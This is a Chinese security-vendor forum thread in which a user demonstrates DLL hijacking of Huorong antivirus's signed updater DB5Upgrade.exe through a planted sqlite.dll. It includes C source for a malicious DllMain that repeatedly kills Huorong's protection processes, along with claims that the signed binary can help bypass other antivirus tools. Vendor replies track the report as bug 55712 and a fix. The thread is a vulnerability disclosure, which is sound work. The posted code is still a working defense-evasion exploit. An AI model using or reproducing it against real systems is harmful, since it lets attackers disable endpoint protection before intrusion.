火绒安全软件

动态防御问题反馈
发新帖
打印 上一主题 下一主题

关于利用火绒摸坏火绒这档事

[复制链接]
6561 41
楼主
发表于 2025-1-8 22:05:13 | 只看该作者 |倒序浏览 |阅读模式
跳转到指定楼层
本帖最后由 UnknownOoo 于 2025-1-8 22:34 编辑

嘛...先给自己套个甲:本人并非网安,计算机相关专业的(只是基于兴趣驱动),下文内容中可能会出现一些相对“愚蠢”的问题,别骂我别骂我qwq

这个漏洞并不是我第一时间发现的...而是在某微信公众号中了解到了这个利用,刚好最近有点时间就浅浅的复现下()

这种攻击手法叫“白加黑”,那么什么是“白加黑”呐,下面丢一下“白加黑”的定义:

白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数(或者找一个已有的DLL注入恶意代码)来加载DLL文件。

emmm...大白话就差不多是合法的 exe 文件在加载一些文件时因为缺少对应的文件验证,导致其错误地加载了一个攻击者“精心设计”的文件,并以 exe(通常有合法签名)的名义执行其中未经授权的行为。那这次文章中的合法 exe 文件 就是火绒的啦(被打)

利用一些工具,我们可以较为快速的筛选出一些具备利用价值的 exe 文件,于是乎,我们就发现了这个:



看文件名应该是火绒升级相关的组件(?),检查了下导入表后发现,DB5Upgrade.exe 除了导入了KERNEL32.dll、ADVAPI32.dll 和
SHLWAPI.dll 系统DLL后,还导入了 sqlite.dll 这个非系统DLL,并且还不存在嵌套调用其他DLL,
这说明只需要这个 exe 和一个名为“sqlite”的DLL就能实现利用。

另外这个工具还很贴心的帮我们处理了其他导出函数以防止报错:



好滴,那么...开写!

  1. #include "pch.h"
  2. #include "dll.h"

  3. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
  4.     switch (ul_reason_for_call) {
  5.     case DLL_PROCESS_ATTACH:
  6.         MessageBoxW(NULL, L"test1", L"INFO", MB_OK);
  7.         break;
  8.     case DLL_PROCESS_DETACH:
  9.         MessageBoxW(NULL, L"test2", L"INFO", MB_OK);
  10.         break;
  11.     case DLL_THREAD_ATTACH:
  12.         MessageBoxW(NULL, L"test3", L"INFO", MB_OK);
  13.         break;
  14.     case DLL_THREAD_DETACH:
  15.         MessageBoxW(NULL, L"test4", L"INFO", MB_OK);
  16.         break;
  17.     }
  18.     return TRUE;
  19. }
复制代码

这是一个最基本的DLL入口函数,当DLL被加载时会执行 switch 语法中的 DLL_PROCESS_ATTACH 分支,其中 MessageBoxW 函数作用是弹出一个对话框,因为这个不是重点...就不讲里面各个参数的作用了。

编译,完成!(这里已经把前面处理其他导出函数的extern语句丢进头文件哩)



然后我们把这个编译出的DLL和那个exe单独拎到一个目录下(这里和参考文章中的做法有点不一样了...参考文章中用到了进程注入和地狱之门...某种意义上来说,火绒又没有API监控...用SysCall欺负火绒也太大材小用了...)后运行...成功了!



接下来的话嘛...嘿嘿嘿,既然是火绒的更新程序,那么为了更新火绒而"重启"火绒进程应该不过分吧()

那么直接...丢代码!

  1. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
  2.     HANDLE lp = NULL;
  3.     int PID = NULL;
  4.     char INFO[80] = "";
  5.     const wchar_t* ProcessName[4] = { L"HipsTray.exe",L"TrafficProt.exe",L"HipsDaemon.exe",L"HipsMain.exe" };
  6.     switch (ul_reason_for_call) {
  7.     case DLL_PROCESS_ATTACH:
  8.         if (!IsRunningAsAdmin()) {
  9.             MessageBoxW(NULL, L"没有获取到管理员权限,仅能结束部分进程.", L"INFO", MB_OK);
  10.         }
  11.         while (1) {
  12.             for (int i = 0; i < 4; i++) {
  13.                 PID = GetPIDByProcName(ProcessName[i]);
  14.                 if (PID != NULL) {
  15.                     lp = OpenProcess(PROCESS_TERMINATE, FALSE, PID);
  16.                     PID = NULL;
  17.                     if (lp == NULL) {
  18.                         sprintf_s(INFO, "进程:%ls 句柄获取失败!\r\n", ProcessName[i]);
  19.                         printf(INFO);
  20.                         memset(INFO, 0x00, sizeof(INFO));
  21.                         continue;
  22.                     }

  23.                     if (TerminateProcess(lp, NULL) == 0) {
  24.                         sprintf_s(INFO, "进程:%ls 结束失败!\r\n", ProcessName[i]);
  25.                         printf(INFO);
  26.                         memset(INFO, 0x00, sizeof(INFO));
  27.                         CloseHandle(lp);
  28.                     }
  29.                 }
  30.             }
  31.             Sleep(3000);
  32.         }
  33.         break;
  34.     case DLL_PROCESS_DETACH:
  35.         MessageBoxW(NULL, L"test2", L"INFO", MB_OK);
  36.         break;
  37.     case DLL_THREAD_ATTACH:
  38.         MessageBoxW(NULL, L"test3", L"INFO", MB_OK);
  39.         break;
  40.     case DLL_THREAD_DETACH:
  41.         MessageBoxW(NULL, L"test4", L"INFO", MB_OK);
  42.         break;
  43.     }
  44.     return TRUE;
  45. }
复制代码

这段代码的主要逻辑就是加载DLL后,先判断是否是管理员权限,如果不是的话弹一个窗告诉用户(?),然后就进入一个while(1)的死循环,在循环中不停地通过获取 ProcessName 数组中的进程句柄,使用 TerminateProcess 函数终止进程。

其中 GetPIDByProcName 函数是通过遍历系统快照来获取对应进程的PID,IsRunningAsAdmin 函数是检查当前进程是否以管理员权限运行,由于这些不是重点,我这边就不讲了(懒)

这里给一下演示效果()

以普通用户权限运行 DB5Upgrade.exe(测试火绒版本:6.0.5.0):



以管理员权限运行 DB5Upgrade.exe(测试火绒版本:6.0.5.0):



后者火绒失去全部防护能力...其实还可以在火绒存活时写入/修改火绒目录,利用火绒签名绕过其他杀毒软件的一些防护等等...其他发挥部分交给评论区啦()


整体代码量较大...就以 .c/.h 文件的形式上传吧(DB5Upgrade.exe也顺便上传下):
Src.zip (2.81 KB, 下载次数: 13) VulnerableEXE.zip (145.28 KB, 下载次数: 29)

参考文章地址:【免杀实战】 - 低权限kill火绒,让火绒6.0内存扫描形同虚设
6561 41
沙发
发表于 2025-1-8 23:29:57 | 只看该作者
技术大佬!
6561 41
板凳
发表于 2025-1-9 08:50:20 | 只看该作者
感谢您的反馈,这边确认下呢~

点评

距离首次反馈已经过去一星期多了,还没确认出来??  发表于 2025-1-9 09:20
6561 41
地板
发表于 2025-1-9 09:17:40 | 只看该作者
哈哈 楼主很不错,可惜我比你早发现几天 没发帖,直接反馈给飞飞同学了。之前问他们,看上去还没确认呢!
(链接:然而Ring3注入绕内存扫描干掉HipsDaemon的问题,依然没有解决



6561 41
5#
发表于 2025-1-9 09:20:00 | 只看该作者
Dzrjks6606 发表于 2025-1-9 09:17
哈哈 楼主很不错,可惜我比你早发现几天 没发帖,直接反馈给飞飞同学了。之前问他们,看上去还没确认呢!
...

您好,此问题目前在确认中呢,后续有结果后在QQ和您及时同步呢~
6561 41
6#
发表于 2025-1-9 09:22:21 | 只看该作者
火绒运营专员 发表于 2025-1-9 09:20
您好,此问题目前在确认中呢,后续有结果后在QQ和您及时同步呢~

速度太慢了,又一次被别人拿出来讲,甚至连BUG ID都没出来。
6561 41
7#
发表于 2025-1-9 09:26:01 | 只看该作者
Dzrjks6606 发表于 2025-1-9 09:22
速度太慢了,又一次被别人拿出来讲,甚至连BUG ID都没出来。

您好,问题确认需要一定时间呢~这边反馈加急下处理呢~
6561 41
8#
发表于 2025-1-9 19:12:59 | 只看该作者
Dzrjks6606 发表于 2025-1-9 09:22
速度太慢了,又一次被别人拿出来讲,甚至连BUG ID都没出来。

被银狐利用一下,跟进速度就会快了(x)
6561 41
9#
发表于 2025-1-10 17:37:00 | 只看该作者
UnknownOoo 发表于 2025-1-9 19:12
被银狐利用一下,跟进速度就会快了(x)

最“理想”状态是被用于网络攻击,入侵等操作。
貌似是这个:【问题ID 55712】


评分

参与人数 1金钱 +1 收起 理由
UnknownOoo + 1 (get)

查看全部评分

6561 41
10#
发表于 2025-2-13 11:08:49 | 只看该作者
您好,此问题6.0.5.2版本已解决,您可升级至最新版本后重启电脑看下是否还有问题,若还出现问题您及时联系我们
6561 41
11#
发表于 2025-2-13 15:22:16 | 只看该作者
火绒运营专员 发表于 2025-2-13 11:08
您好,此问题6.0.5.2版本已解决,您可升级至最新版本后重启电脑看下是否还有问题,若还出现问题您及时联系 ...

请看VCR:

test.zip

2.59 MB, 下载次数: 8, 下载积分: 金钱 -1

6561 41
12#
发表于 2025-2-13 15:28:14 | 只看该作者

您好,测试用的样本方便提供下吗?
6561 41
13#
发表于 2025-2-13 15:31:35 | 只看该作者
火绒运营专员 发表于 2025-2-13 15:28
您好,测试用的样本方便提供下吗?

相关源码在主楼附件中有提供
6561 41
14#
发表于 2025-2-13 15:55:00 | 只看该作者
UnknownOoo 发表于 2025-2-13 15:31
相关源码在主楼附件中有提供

您好,此问题目前已重新提交修复处理【ID:55712】,后续解决后及时答复您~
6561 41
15#
发表于 2025-2-13 19:43:40 | 只看该作者
火绒运营专员 发表于 2025-2-13 15:55
您好,此问题目前已重新提交修复处理【ID:55712】,后续解决后及时答复您~ ...


拷打一下工程师

您需要登录后才可以回帖 登录 | [立即注册]

本版积分规则

快速回复 返回顶部 返回列表